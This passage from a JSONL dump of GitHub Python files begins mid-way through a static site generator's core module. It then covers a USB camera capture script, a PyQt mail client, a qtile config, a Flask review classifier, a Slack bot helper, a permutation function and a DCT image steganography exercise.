%.3fs', Timer.stop())\n\n    def serve(self):\n        self.source = Directory(self.options['source'])\n\n        if not self.source.exists:\n            raise OptionException('Source directory does not exist')\n\n        logger.info('>> Serving at 127.0.0.1:%s', self.options['port'])\n        logger.info('..  Press ctrl+c to stop')\n\n        address = ('', self.options['port'])\n        base_url = URL.join(self.options['base_url'], '')\n        cwd = getcwd()\n\n        chdir(self.source.path)\n\n        try:\n            self.server = Server(address, base_url, RequestHandler)\n            self.server.serve_forever()\n        except KeyboardInterrupt:\n            self.server.shutdown()\n            chdir(cwd)\n\n            print('')\n\n    def watch(self):\n        self.source = Directory(self.options['source'])\n        self.destination = Directory(self.options['destination'])\n\n        if not self.source.exists:\n            raise OptionException('Source does not exist')\n        elif self.source == self.destination:\n            raise OptionException(\n                'Source and destination must be different locations')\n        elif self.destination.exists and not self.options['force']:\n            raise OptionException(\n                'Destination already exists',\n                'to force generation, use the following flag',\n                '  `-f` to EMPTY the destination')\n\n        logger.info('>> Watching')\n        logger.info('..  Press ctrl+c to stop')\n\n        handler = EventHandler(self.source.path, self._regenerate)\n\n        self.observer = Observer()\n        self.observer.schedule(handler, self.source.path, True)\n        self.observer.start()\n\n        try:\n            while True:\n                sleep(1)\n        except KeyboardInterrupt:\n            self.observer.stop()\n\n            print('')\n\n        self.observer.join()\n\n\n    @property\n    def reader(self):\n        if self._reader is None:\n            self._reader = Reader(\n                self.source, self.destination, self.configuration, self.writer)\n\n        return self._reader\n\n    @property\n    def writer(self):\n        if self._writer is None:\n            self._writer = Writer(\n                self.source, self.destination, self.configuration)\n\n        return self._writer\n\n","repo_name":"uhnomoli/mynt","sub_path":"mynt/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":17050,"program_lang":"python","lang":"en","doc_type":"code","stars":364,"dataset":"github-code","pt":"16"}
+{"seq_id":"28297516969","text":"#-*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\nimport imutils\nfrom datetime import datetime\nimport time\n\ndef Rotate(src, degrees) :\n    if degrees == 90 :\n        dst = cv2.transpose(src)\n        dst = cv2.flip(dst, 1)\n    elif degrees == 180 :\n        dst = cv2.flip(src, 0)\n    elif degrees == 270 :\n        dst = cv2.transpose(src)\n        dst = cv2.flip(dst, 0)\n    else :\n        dst = null\n    return dst\n\n\n\ncap = cv2.VideoCapture(0)  \nif cap.isOpened() == False:\n    print('카메라를 오픈 할 수 없습니다.')\n\n#frame_width = int(cap.get(3))\n#frame_height = int(cap.get(4))\n#fourcc = cv2.VideoWriter_fourcc('M','J','P','G')\n#out = cv2.VideoWriter('output.avi', fourcc, 25.0, (frame_width,frame_height))\n\nframe_width = int(3840)\nframe_height = int(2160)\n\nMJPG_CODEC = 1196444237.0 # MJPG\n\ncv2.namedWindow('Usb Cam', cv2.WINDOW_NORMAL)\ncv2.resizeWindow('Usb Cam', frame_width,frame_height)\n\ncap.set(cv2.CAP_PROP_BRIGHTNESS, 10)\ncap.set(cv2.CAP_PROP_FOURCC, MJPG_CODEC)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 3840)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 2160)\ncap.set(cv2.CAP_PROP_AUTOFOCUS, 0)\n#cap.set(cv2.CAP_PROP_FOCUS, 28)\n\n\n\n#print cap.get(cv2.CAP_PROP_BRIGHTNESS)\n#print cap.get(cv2.CAP_PROP_FOURCC)\n\n\nwhile True:\n    ret, frame = cap.read()\n\n\t#change to frame size \n    #frame = cv2.resize(frame, (frame_width, frame_height))\n\t# rotate_frame = imutils.rotate(frame, 0) \n\t#frame = Rotate(frame, 90)\n    cv2.imshow('Usb Cam', frame)\n    #print(ret)\n    #out.write(frame)\n    today = datetime.today().strftime('%Y-%m-%d-%H:%M:%S')\n\n\n    ch = cv2.waitKey(1)\n    if ch == ord('q'):\n\t    break\n\n    elif ch == ord('c'):\n\t    print('press c')\n\t    cv2.imwrite('./saved_images/usbcam({}).jpg'.format(today),frame)\n\t    print('./saved_images/usbcam({}).jpg saved'.format(today))\n\n\n    elif ch == ord('s'):\n        for i in range(2):\n            cv2.imwrite('./saved_images/usbcam({})_{}.jpg'.format(today,i),frame)\n            print('./saved_images/usbcam({})_{}.jpg saved'.format(today,i))\n            time.sleep(1)\n\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"JwMudfish/raspberrypi_camera","sub_path":"usb_cam_capture.py","file_name":"usb_cam_capture.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15783731026","text":"from PyQt5.QtWidgets import QWidget, QDialog\nfrom PyQt5 import uic\nfrom client_modules.write_mail import MailForm\nfrom client_modules.mail_structure import Mail\nfrom client_modules.mail_view import MailView\n\nMAIN_WINDOW_UI = 'design/main_window.ui'\n\n\nclass Client(QWidget):\n    def __init__(self, client, username):\n        super().__init__()\n        self.client = client\n        self.username = username\n\n        # Подключаем дизайн\n        uic.loadUi(MAIN_WINDOW_UI, self)\n        self.setWindowTitle('Почта')\n        self.label_11.setText(username)\n\n        # Кнопки\n        self.write_mail_btn.clicked.connect(self.write_mail)\n        self.next_page.clicked.connect(self.go_forward)\n        self.previuos_page.clicked.connect(self.go_back)\n        self.btn_list = [i for i in self.show_btn_group.buttons()]\n        self.label_list = [self.message_1, self.message_2, self.message_3, self.message_4, self.message_5,\n                           self.message_6, self.message_7]\n        self.incoming_rbn.toggled.connect(self.manage_filters)\n        self.sent_rbn.toggled.connect(self.manage_filters)\n        self.reload_btn.clicked.connect(self.show_messages)\n\n        # Всё что касается показа писем\n        self.mails = []\n        self.current_page = 1\n        self.current_filter = 'Входящие'\n        self.show_messages()\n\n    # Работа с фильтрами\n    def manage_filters(self):\n        filter = self.sender()\n        if filter.isChecked():\n            if filter.text() == 'Входящие':\n                self.current_filter = 'Входящие'\n                self.show_messages()\n            else:\n                self.current_filter = 'Исходящие'\n                self.show_messages()\n\n    # Показать письма\n    def show_messages(self):\n        self.mails = []\n        self.current_page = 1\n        for i in range(7):\n            self.label_list[i].setVisible(False)\n            self.btn_list[i].setVisible(False)\n        if self.current_filter == 'Входящие':\n            self.client.send(f'004{self.username}'.encode(\"utf-8\"))\n        else:\n            self.client.send(f'005{self.username}'.encode(\"utf-8\"))\n        print('got filter')\n        while True:\n            response = self.client.recv(4096).decode(\"utf-8\").split('%%')\n            print(response)\n            if response == ['404']:\n                break\n            self.client.send('500'.encode(\"utf-8\"))\n            self.mails.append(Mail(response[0], response[1], response[2], response[3], response[4]))\n        self.mails = list(reversed(self.mails))\n        print(self.mails)\n        if len(self.mails) <= 7:\n            for i in range(len(self.mails)):\n                self.label_list[i].setText(self.mails[i].get_short_mail())\n                self.label_list[i].setVisible(True)\n                self.btn_list[i].setVisible(True)\n                self.btn_list[i].clicked.connect(self.message_view)\n        else:\n            for i in range(7):\n                self.label_list[i].setText(self.mails[i].get_short_mail())\n                self.label_list[i].setVisible(True)\n                self.btn_list[i].setVisible(True)\n                self.btn_list[i].clicked.connect(self.message_view)\n        if len(self.mails) == 0:\n            self.current_page = 1\n            self.pages_count = 1\n        else:\n            self.pages_count = len(self.mails) // 7\n            if len(self.mails) % 7 != 0:\n                self.pages_count += 1\n            self.label_pages.setText(f'Страница {self.current_page}/{self.pages_count}')\n            self.current_mail = 1\n\n    # Перемещение по страницам писем вперёд\n    def go_forward(self):\n        if self.current_page != self.pages_count:\n            self.current_page += 1\n            for i in range(7):\n                ind = i + (self.current_page - 1) * 7\n                if ind < len(self.mails):\n                    self.label_list[i].setText(self.mails[ind].get_short_mail())\n                    self.label_list[i].setVisible(True)\n                    self.btn_list[i].setVisible(True)\n                    self.btn_list[i].clicked.connect(self.message_view)\n                else:\n                    self.label_list[i].setVisible(False)\n                    self.btn_list[i].setVisible(False)\n            self.label_pages.setText(f\"Страница {self.current_page}/{self.pages_count}\")\n\n    # Перемещение по страницам писем назад\n    def go_back(self):\n        if self.current_page != 1:\n            self.current_page -= 1\n            for i in range(7):\n                ind = i + (self.current_page - 1) * 7\n                if ind < len(self.mails):\n                    self.label_list[i].setText(self.mails[ind].get_short_mail())\n                    self.label_list[i].setVisible(True)\n                    self.btn_list[i].setVisible(True)\n                    self.btn_list[i].clicked.connect(self.message_view)\n                else:\n                    self.label_list[i].setVisible(False)\n                    self.btn_list[i].setVisible(False)\n            self.label_pages.setText(f\"Страница {self.current_page}/{self.pages_count}\")\n\n    # Окно для показа письма\n    def message_view(self):\n        mail = self.mails[(self.current_page - 1) * 7 + self.btn_list.index(self.sender())]\n        self.ex = MailView(mail, self.client)\n        if mail.sender != self.username:\n            self.ex.delete_btn.setVisible(False)\n        self.ex.show()\n\n    # Диалоговое окно написания письма\n    def write_mail(self, errors=None, content=None):\n        self.hide()\n        self.ex = MailForm()\n        # Если была ошибка\n        print(errors)\n        if errors is not False:\n            self.ex.addressee.setText(content[0])\n            self.ex.title.setText(content[1])\n            self.ex.main_text.setText(content[2])\n            if 'blank user' in errors:\n                self.ex.label_not_found.setText('Заполните поле')\n                self.ex.label_not_found.setVisible(True)\n            elif 'not found' in errors:\n                self.ex.label_not_found.setText('Пользователь не найден')\n                self.ex.label_not_found.setVisible(True)\n            if 'blank title' in errors:\n                self.ex.label_title_error.setText('Заполните поле')\n                self.ex.label_title_error.setVisible(True)\n            if 'blank main text' in errors:\n                self.ex.label_error.setText('Заполните поле')\n                self.ex.label_error.setVisible(True)\n            if '%%main' in errors:\n                self.ex.label_error.setText('Нельзя использовать \"%%\"')\n                self.ex.label_error.setVisible(True)\n            if '%%title' in errors:\n                self.ex.label_title_error.setText('Нельзя использовать \"%%\"')\n        result_dialog = self.ex.exec()\n        if result_dialog == QDialog.Rejected:\n            self.show()\n        elif result_dialog == QDialog.Accepted:\n            print('Accepted')\n            errors = []\n            # Проверка данных\n            if len(self.ex.addressee.text()) == 0:\n                errors.append('blank user')\n            message = '001' + self.ex.addressee.text()\n            self.client.send(message.encode('utf-8'))\n            response = self.client.recv(2048).decode(\"utf-8\")\n            if response != '500':\n                errors.append('not found')\n            if len(self.ex.title.text()) == 0 or len(self.ex.title.text().replace(' ', '')) == 0:\n                errors.append('blank title')\n            if len(self.ex.main_text.toPlainText()) == 0 or len(self.ex.main_text.toPlainText().replace(' ', '')) == 0:\n                errors.append('blank main text')\n            if '%%' in self.ex.main_text.toPlainText():\n                errors.append('%%main')\n            if '%%' in self.ex.title.text():\n                errors.append('%%title')\n            if len(errors) != 0:\n                data = [self.ex.addressee.text(), self.ex.title.text(), self.ex.main_text.toPlainText()]\n                self.write_mail(errors, data)\n            # Если ошибки не было\n            else:\n                print('ok')\n                message = '031' + self.username\n                self.client.send(message.encode('utf-8'))\n                self.client.recv(2048)\n                print('sent username')\n                message = '032' + self.ex.addressee.text()\n                self.client.send(message.encode('utf-8'))\n                self.client.recv(2048)\n                print('sent username')\n                message = '033' + self.ex.title.text()\n                self.client.send(message.encode('utf-8'))\n                self.client.recv(2048)\n                print('sent username')\n                message = '034' + self.ex.main_text.toPlainText()\n                self.client.send(message.encode('utf-8'))\n                print('sent username')\n                self.show()\n","repo_name":"astrozzzzz/MailProject2","sub_path":"client_modules/mail_client.py","file_name":"mail_client.py","file_ext":"py","file_size_in_byte":9150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12883034271","text":"from libqtile.config import Key, Screen, Group, Drag, Click\nfrom libqtile.command import lazy\nfrom libqtile import layout, bar, widget, hook\nfrom libqtile.widget.wlan import Wlan\nimport os\n\nalt = \"mod1\"\nmod = \"mod3\"\nsup = \"mod4\"\n\n# Widgets Theme\nwidget_defaults = dict(\n                    background=\"#15181a\",\n                    opacity=0.9,\n                    border_color=\"#222222\",\n                    fontshadow=\"#000000\",\n                    font = 'Terminus',\n                    fontsize=12,\n                )\n\ngroupbox_defaults = dict(\n                        padding=3,\n                        margin_x=2,\n                        margin_y=2,\n                        borderwidth=2\n                    )\ngroupbox_defaults.update(widget_defaults)\n\nkeys = [\n    Key([mod], \"w\", lazy.window.kill()),\n    Key([mod], \"r\", lazy.spawncmd()),\n\n    # App launchers\n    Key([mod], \"Return\", lazy.spawn(\"urxvtc\")),\n    Key([mod], \"e\", lazy.spawn('pcmanfm')),\n\n    # windows style alt-tab/alt-shift-tab\n    Key([alt], \"Tab\", lazy.layout.down()),\n    Key([alt, \"shift\"], \"Tab\", lazy.layout.up()),\n\n    # Layouts\n    Key([alt], \"space\", lazy.nextlayout()),\n    Key([alt], \"Return\", lazy.window.toggle_floating()),\n\n    # Bindings for Stack layout\n    Key( [alt, \"shift\"], \"space\", lazy.layout.rotate()),\n    Key( [alt, \"shift\"], \"Return\", lazy.layout.toggle_split()),\n\n    # Bindings for MonadTall layout\n    Key([alt, \"shift\"], \"k\", lazy.layout.shuffle_down()),\n    Key([alt, \"shift\"], \"j\", lazy.layout.shuffle_up()),\n    Key([alt], \"i\", lazy.layout.grow()),\n    Key([alt], \"m\", lazy.layout.shrink()),\n    Key([alt], \"n\", lazy.layout.normalize()),\n    Key([alt], \"o\", lazy.layout.maximize()),\n    Key([alt, \"shift\"], \"space\", lazy.layout.flip()),\n\n    # Bindings for Tile layout\n    Key([alt, \"shift\"], \"i\", lazy.layout.increase_ratio()),\n    Key([alt, \"shift\"], \"d\", lazy.layout.decrease_ratio()),\n\n    # Sound\n    Key([], \"XF86AudioRaiseVolume\",\n        lazy.spawn(\"amixer sset Master 5%+\")),\n    Key([], \"XF86AudioLowerVolume\",\n        lazy.spawn(\"amixer sset Master 5%-\")),\n    Key([], \"XF86AudioMute\",\n        lazy.spawn(\"amixer sset Master toggle\")),\n\n    # Qtile management\n    Key([alt, \"shift\"], \"r\", lazy.restart()),\n    Key([alt, \"shift\"], \"q\", lazy.shutdown()),\n\n    # cycle to previous group\n    Key([mod], \"F11\", lazy.screen.prevgroup(skip_managed=True)),\n    # cycle to next group\n    Key([mod], \"F12\", lazy.screen.nextgroup(skip_managed=True)),\n    # toggle group\n    Key([mod], \"Tab\", lazy.screen.togglegroup()),\n\n    # PRINT SCREEN\n    Key([mod], \"F10\", lazy.spawn(\"import -window root ~/screenshot.png\")),\n]\n\ngroups = [\n    Group(\"term\"),\n    Group(\"work\"),\n    Group(\"web\"),\n    Group(\"play\"),\n    Group(\"misc\"),\n]\nfor i, g in enumerate(groups, 1):\n    # mod + group number = switch to group\n    keys.append(\n        Key([mod], str(i), lazy.group[g.name].toscreen())\n    )\n\n    # mod + shift + group number = switch to & move focused window to group\n    keys.append(\n        Key([mod, \"shift\"], str(i), lazy.window.togroup(g.name))\n    )\n\n# This allows you to drag windows around with the mouse if you want.\nmouse = [\n            Drag([mod], \"Button1\", lazy.window.set_position_floating(),\n                         start=lazy.window.get_position()),\n            Drag([mod], \"Button3\", lazy.window.set_size_floating(),\n                         start=lazy.window.get_size()),\n            Click([mod], \"Button2\", lazy.window.bring_to_front())\n]\n\nlayouts = [\n    layout.Max(),\n    #layout.MonadTall(\n    #    border_focus=\"#005F0C\",\n    #    border_normal=\"#555555\"\n    #),\n    # a layout for the Freshbooks timer\n    layout.Slice('right', 256, name='freshbooks',\n                    wmname='*Timer*', role='pop-up'),\n\n    layout.Stack(stacks=2),\n\n    # a layout for pidgin\n    #layout.Slice('right', 256, name='pidgin', role='buddy_list',\n    #     fallback=layout.Stack(stacks=2, border_width=1)),\n    #layout.Tile(ratio=0.35, borderwidth=1),\n\n    ## a layout just for gimp(stolen from tych0's config)\n    #layout.Slice('left', 192, name='gimp', role='gimp-toolbox',\n    #     fallback=layout.Slice('right', 256, role='gimp-dock',\n    #     fallback=layout.Stack(stacks=1))),\n]\n\nscreens = [\n    Screen(\n        bottom = bar.Bar([\n                widget.GroupBox(**groupbox_defaults),\n                #widget.WindowName(**widget_defaults),\n                widget.Sep(),\n                widget.TaskList(borderwidth=0, padding=2,\n                    margin_y=2, rounded=False, highlight_method=\"block\"),\n                widget.Prompt(**widget_defaults),\n                widget.Sep(),\n\n                # system usage\n                widget.CPUGraph(width=60, line_width=1,\n                    graph_color='FF2020', fill_color='C01010'),\n                widget.MemoryGraph(samples=50, line_width=1, width=60,\n                                   graph_color='0066FF',\n                                   fill_color='001188'),\n                widget.NetGraph(samples=50, line_width=1,\n                                width=60, interface=\"wlp7s0\",\n                                graph_color='22FF44',\n                                fill_color='11AA11'),\n\n                widget.ThermalSensor(tag_sensor='Core 2'),\n\n                widget.BatteryIcon(energy_now_file='charge_now',\n                    energy_full_file='charge_full',\n                    battery_name='BAT1',\n                    power_now_file='current_now',\n                    theme_path='/usr/share/icons/Faenza-Dark/status/22',\n                    **widget_defaults\n                ),\n\n                Wlan(interface='wlp7s0'),\n\n                widget.Volume(update_interval=0.2, theme_path=\\\n                        '/usr/share/icons/Faenza-Dark/status/22/'),\n\n                widget.Systray(icon_size=14),\n                widget.Clock('%Y-%m-%d %a %I:%M %p', fontsize=12),\n            ],\n            size=20, opacity=0.9),\n    ),\n]\n\n\ndef show_shortcuts():\n    key_map = {\"mod1\": \"alt\", \"mod4\": \"super\"}\n    shortcuts_path = \"{0}/{1}\".format(os.environ[\"HOME\"], \"qtile_shortcuts\")\n    shortcuts = open(\"{0}\".format(shortcuts_path), 'w')\n    shortcuts.write(\"{0:30}| {1:50}\\n\".format(\"KEYS COMBINATION\", \"COMMAND\"))\n    shortcuts.write(\"{0:80}\\n\".format(\"=\" * 80))\n    for key in keys:\n        key_comb = \"\"\n        for modifier in key.modifiers:\n            key_comb += key_map.get(modifier, modifier) + \"+\"\n        key_comb += key.key\n        shortcuts.write(\"{0:30}| \".format(key_comb))\n        cmd_str = \"\"\n        for command in key.commands:\n            cmd_str += command.name + \" \"\n            for arg in command.args:\n                cmd_str += \"{0} \".format(repr(arg))\n        shortcuts.write(\"{0:50}\\n\".format(cmd_str))\n        shortcuts.write(\"{0:80}\\n\".format(\"-\" * 80))\n    shortcuts.close()\n    return lazy.spawn(\"xterm -wf -e less {0}\".format(shortcuts_path))\n\n\ndef window_sorter(win):\n    patterns = (\n        ('Gajim', 'Messaging'),\n        ('XChat', 'Messaging'),\n        ('Icedove', 'Messaging'),\n        ('pidgin', 'Messaging'),\n        ('Vimperator', 'Util'),\n        ('Krusader', 'Util'),\n        ('playout', 'Work'),\n        ('lifia', 'Work'),\n        )\n    for k, v in patterns:\n        if k in win.name:\n            return v\n    return 'Other'\n\n\n@hook.subscribe.client_new\ndef dialogs(window):\n    if(window.window.get_wm_type() == 'dialog'\n        or window.window.get_wm_transient_for()):\n        window.floating = True\n\n# More shortcuts\nkeys.append(Key([alt], \"r\", lazy.layout.sort_windows(window_sorter)))\nkeys.append(Key([mod], \"F1\", show_shortcuts()))\nkeys.append(Key([sup], \"l\", lazy.spawn(\"xscreensaver-command -lock\")))\n\n# Automatically float these types. This overrides the default behavior (which\n# is to also float utility types), but the default behavior breaks our fancy\n# gimp slice layout specified later on.\nfloating_layout = layout.Floating(auto_float_types=[\n  \"notification\",\n  \"toolbar\",\n  \"splash\",\n  \"dialog\",\n])\n\nmain = None\nfollow_mouse_focus = True\ncursor_warp = False\nmouse = ()\n","repo_name":"imiric/dotfiles","sub_path":"qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":8008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"33590602973","text":"\"\"\"\n    Movie Review Classifier using Keras - Flask Web App\n\n    Flask Web App File\n\n    Author: Sai Hemanth Bheemreddy\n\"\"\"\n\nfrom flask import Flask, render_template, request\nimport model\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    \"\"\"\n    Home Page.\n\n    URL: /\n    POST HTTP Method: Renders page along with Keras Model's output\n    GET HTTP Method: Renders page without any computation.\n    \"\"\"\n    if request.method == 'POST':\n        # Retrive review and get rating from model\n        review = request.form[\"review\"]        \n        rating = model.getRating(review)\n\n        # Open results file to save output for analysis.\n        with open(\"results.csv\", \"a\") as f:\n            f.write(\"{},{}\\n\".format(review, rating))\n        \n        # Same IP address and browser information of user\n        with open(\"usage.csv\", \"a\") as f:\n            f.write(\"{}, {}\\n\".format(request.user_agent.string, request.remote_addr))\n        \n        # Default message that will overwritten if no error occurs\n        result = [\"Unexpected Error occured.\", \"You may have entered a lot of unkonwn words\", \"\"]\n        if rating:\n            result = [\"Review: {}\".format(review[:50]),\n                        \"\\nUser has given a {} Review\".format('Good' if rating >= 0.5 else 'Bad'), \n                        \"Goodness: {:.3f} %\".format(rating*100)]\n\n        # Rendering page with result\n        return render_template('index.html', result=result)\n    else :\n        # Rendering page without result\n        return render_template('index.html')","repo_name":"SaiHemanthBR/TextClassifier-FlaskWebApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"6936275291","text":"import os\n\nfrom dotenv import load_dotenv\nfrom slack_bolt import App\n\nload_dotenv()\napp = App(\n    token = os.getenv('SLACK_BOT_TOKEN'),\n    signing_secret = os.getenv('SLACK_SIGNING_SECRET')\n)\n\n\ndef helperfunc(ack,body):\n    \"\"\"helper function. sends buttons to user to select help category\"\"\"\n    ack()\n    m_blocks=[{\n        \"type\": \"actions\",\n        \"block_id\": \"helper_actions\",\n        \"elements\": [\n            {\n                \"type\": \"button\",\n                \"action_id\": \"tv_helper_button\",\n                \"text\": {\n                    \"type\": \"plain_text\",\n                    \"text\": \"Tv Helper\",\n                    \"emoji\": True\n                },\n                \"value\": \"tv_helper\"\n            },\n            {\n                \"type\": \"button\",\n                \"action_id\": \"movie_helper_button\",\n                \"text\": {\n                    \"type\": \"plain_text\",\n                    \"text\": \"Movie Helper\",\n                    \"emoji\": True\n                },\n                \"value\": \"movie_helper\"\n            },\n            {\n                \"type\": \"button\",\n                \"action_id\": \"invite_helper_button\",\n                \"text\": {\n                    \"type\": \"plain_text\",\n                    \"text\": \"Invite Helper\",\n                    \"emoji\": True\n                },\n                \"value\": \"invite_helper\"\n            }\n        ]\n    }]\n    app.client.chat_postMessage(\n        channel=body['user_id'],\n        blocks=m_blocks,\n        text=\"Choose a helper\"\n    )\n\ndef helper_button_actions(ack,body):\n    \"\"\"helper buttons function. Sends a message to the user based on the button pressed\"\"\"\n    ack()\n    if body[\"actions\"][0][\"value\"] == \"tv_helper\":\n        app.client.chat_postMessage(\n            channel=body['user']['id'],\n            text=\"\"\"To request a TV show, try the requesttv slash command!\n             For example `/requesttv The Flash`.\"\"\"\n        )\n    elif body[\"actions\"][0][\"value\"] == \"movie_helper\":\n        app.client.chat_postMessage(\n            channel=body['user']['id'],\n            text=\"\"\"To request a movie, try the requestmovie slash command!\n             For example `/requestmovie The Godfather`. \"\"\"\n        )\n    elif body[\"actions\"][0][\"value\"] == \"invite_helper\":\n        app.client.chat_postMessage(\n            channel=body['user']['id'],\n            text=\"\"\"To request an invite to a Jellyfin server, try the requestinvite slash command!\n             For example `/requestinvite test@example.com`. Your request will be sent to the Jellyfin server admin for approval. \n             You will recieve a message containing username and password \n             if your request is approved.\"\"\"\n        )\n","repo_name":"elightcap/RequestBot","sub_path":"slackbot/src/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"31039046703","text":"def perm(l, t='', n=[]):\n    if len(l) == 0:\n        n.append(t)\n    else:\n        # [perm(l[:i] + l[i+1:], t+l[i], n) for i in range(len(l))]\n        for i in range(len(l)):\n            perm(l[:i] + l[i+1:], t + l[i], n)\n    return n\n\n\nif __name__ == \"__main__\":\n    s = 'abcd'\n    d = perm(s)\n    print(d)\n","repo_name":"surajgholap/python-Misc","sub_path":"str_perm.py","file_name":"str_perm.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23751508334","text":"from PIL import Image\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom lib import D_B, B_D, DCT, IDCT\n\nimg = np.array(Image.open(\"tiger.bmp\"))\nwidth, height = len(img[0]), len(img)\nsliced = []\n# number of blocks\nblock = 8\n# certain positive value - threshold - for encoding and decoding\npr = 10\n\nm = open('secret_message.txt', 'r').read()\nm_ascii = [ord(i) for i in m]\nm_b = ''\nfor i in m_ascii:\n    m_b += D_B(i)\nprint(\"Encoded message is: \" + m_b[:100] + '...')\n\n# divide an image into blocks\ny = 0\nfor i in range(block, height + 1, block):\n    x = 0\n    for j in range(block, width + 1, block):\n        sliced.append(img[y:i, x:j])\n        x = j\n    y = i\n\n\ndef output(mtx8x8, m1):\n    if m1 == '1':\n        while abs(mtx8x8[3][2]) < (abs(mtx8x8[1][3]) + pr) or abs(mtx8x8[3][2]) < (abs(mtx8x8[3][1]) + pr):\n            # increasing of the primary coefficient\n            if mtx8x8[3][2] <= 0:\n                mtx8x8[3][2] = mtx8x8[3][2] - pr\n            else:\n                mtx8x8[3][2] = mtx8x8[3][2] + pr\n\n    if m1 == '0':\n\n        while abs(mtx8x8[3][2]) > (abs(mtx8x8[1][3]) - pr) or abs(mtx8x8[3][2]) > (abs(mtx8x8[3][1]) - pr):\n            # adjustment of the primary coefficient\n            if mtx8x8[1][3] <= 0:\n                mtx8x8[1][3] -= pr // 2\n            else:\n                mtx8x8[1][3] += pr // 2\n            if mtx8x8[3][1] <= 0:\n                mtx8x8[3][1] -= pr // 2\n            else:\n                mtx8x8[3][1] += pr // 2\n\n            # decreasing of the primary coefficient\n            if mtx8x8[3][2] <= 0:\n                mtx8x8[3][2] = mtx8x8[3][2] + pr\n            else:\n                mtx8x8[3][2] = mtx8x8[3][2] - pr\n    return mtx8x8\n\n\ndef encode(mtx, m):\n    idx = 0\n    mtx1 = []\n    for y in range(len(mtx)):\n        if idx >= len(m) - 1: break\n        mtx1.append(output(mtx[y], m[idx]))\n        idx += 1\n    return mtx1\n\n\nprint('\\nStarting DCT...\\n')\n\ndct_mtx = []\nfor part in sliced:\n    dct_mtx.append(DCT(part))\n\nprint('DCT has finished.\\n')\n\n# ----------------------encoding----------------------\n\nprint(dct_mtx[1])\ndct_mtx = encode(dct_mtx, m_b)\n\nprint('Starting IDCT...\\n')\nidct_mtx = []\nfor part in dct_mtx:\n    idct_mtx.append(IDCT(part))\n\nrow = 0\nrowNcol = []\nfor j in range(int(width / block), len(idct_mtx) + 1, int(width / block)):\n    rowNcol.append(np.hstack((idct_mtx[row:j])))\n    row = j\nres = np.vstack((rowNcol))\n\nres_img = Image.fromarray(res)\nif res_img.mode != 'RGB':\n    res_img = res_img.convert('RGB')\nres_img.save(\"secret_img_BMYY.bmp\", \"BMP\")\n\n# ----------------------decoding----------------------\n\nclear_img = Image.open(\"tiger.bmp\")\nsecret_img = Image.open(\"secret_img_BMYY.bmp\")\ndiff = 0\nfor x in range(width):\n    for y in range(height):\n        pixel2 = list(clear_img.getpixel((x, y)))[0]\n        pixel1 = list(secret_img.getpixel((x, y)))[0]\n        diff += abs(pixel1 - pixel2)\n    diff = diff / (height * width)\nprint('Difference between red channels: ', diff)\n\nsecret_img = np.array(secret_img)\nsliced = []\ny = 0\nfor i in range(block, height + 1, block):\n    x = 0\n    for j in range(block, width + 1, block):\n        sliced.append(secret_img[y:i, x:j])\n        x = j\n    y = i\n\nprint('\\nStarting DCT...\\n')\n\ndct_mtx1 = []\nfor part in sliced:\n    dct_mtx1.append(DCT(part))\n\nprint('DCT has finished.\\n')\n\n# decoding rule\nm_b1 = ''\nfor y in range(len(dct_mtx1)):\n    if abs(dct_mtx1[y][3][2]) > abs(dct_mtx1[y][1][3]) and abs(dct_mtx1[y][3][2]) > abs(dct_mtx1[y][3][1]):\n        m_b1 += '1'\n    if abs(dct_mtx1[y][3][2]) <= abs(dct_mtx1[y][1][3]) and abs(dct_mtx1[y][3][2]) <= abs(dct_mtx1[y][3][1]):\n        m_b1 += '0'\n\nprint('Decoded message is: ' + m_b1[:100] + '...')\n\np0 = 0\nfor i in range(len(m_b1)):\n    if m_b1[i] != m_b[i]:\n        p0 += 1\n    p0 = p0 / len(m_b)\nprint(\"Errors in message extracting: \", p0)\n\n# string parsing: from each 8 binary symbols make a ASCII letter\nres_str = ''\nfor i in range(1, len(m_b1), 8):\n    tmp = m_b1[i - 1:i + 7]\n    m_bb1 = B_D(tmp)\n    res_str += chr(m_bb1)\n\n# write decrypted text file\nstego = open('stego_BMYY.txt', 'w', encoding=\"utf-8\")\nstego.write(res_str)\nstego.close()\n\n# -----------------------------------------------------------\n\ng = [[x * 5 for x in range(1, 11)], [0] * 10]\n\nwith open('plot_data.txt', 'r') as f:\n    for eachLine in f:\n        g[1] = [float(x) for x in eachLine.split(',')]\n        plt.plot(g[0], g[1])\n        plt.show()\n","repo_name":"ssoleil/Steganography","sub_path":"4_Frequency_Domain/BMYY.py","file_name":"BMYY.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
